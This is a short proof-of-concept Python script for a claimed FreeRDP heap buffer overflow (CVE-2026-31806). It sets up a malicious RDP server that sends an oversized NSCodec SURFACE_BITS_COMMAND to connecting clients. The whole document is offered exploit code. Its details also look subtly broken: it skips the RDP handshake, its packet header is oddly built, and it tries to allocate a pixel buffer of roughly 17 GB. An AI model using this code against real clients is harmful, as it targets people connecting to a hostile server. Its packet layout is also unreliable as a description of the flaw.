CVE-2026-31806 FreeRDP gdi_surface_bits堆缓冲区溢出漏洞

# CVE-2026-31806 PoC - Malicious RDP Server Simulation # This PoC demonstrates the heap buffer overflow in FreeRDP's NSCodec handling import struct import socket def create_malicious_rdp_packet(): """ Create a malicious SURFACE_BITS_COMMAND packet with oversized bmp dimensions """ # RDP Header msg_type = 0x01 # TS_SURFACE_BITS_CMD # NSCodec codecId (1 = NSCODEC) codec_id = 0x01 # Crafted bitmap header with oversized dimensions # Normal desktop might be 1920x1080, but we specify much larger bmp_width = 0xFFFF # 65535 - way larger than actual surface bmp_height = 0xFFFF # 65535 # Bitmap data header bmp_data_header = struct.pack('<HHI', bmp_width, bmp_height, codec_id) # Crafted pixel data that will overflow the undersized buffer # This data will be written beyond allocated buffer bounds malicious_pixel_data = b'\x41' * (bmp_width * bmp_height * 4) # Complete SURFACE_BITS_COMMAND message surface_bits_cmd = bmp_data_header + malicious_pixel_data return surface_bits_cmd def start_malicious_rdp_server(host='0.0.0.0', port=3389): """ Simulate a malicious RDP server that exploits CVE-2026-31806 """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((host, port)) server_socket.listen(1) print(f"[*] Malicious RDP server listening on {host}:{port}") print("[*] Waiting for FreeRDP client connection...") while True: try: client_socket, addr = server_socket.accept() print(f"[+] Client connected from {addr}") # RDP connection sequence (simplified) # In real attack, proper handshake would be performed # Send malicious SURFACE_BITS_COMMAND malicious_packet = create_malicious_rdp_packet() client_socket.send(malicious_packet) print("[+] Sent malicious SURFACE_BITS_COMMAND packet") print(f"[*] Bitmap dimensions: {0xFFFF}x{0xFFFF}") print("[*] This should trigger heap buffer overflow in vulnerable FreeRDP") client_socket.close() except Exception as e: print(f"[-] Error: {e}") break if __name__ == '__main__': print("=" * 60) print("CVE-2026-31806 FreeRDP Heap Buffer Overflow PoC") print("Target: FreeRDP < 3.24.0") print("=" * 60) start_malicious_rdp_server()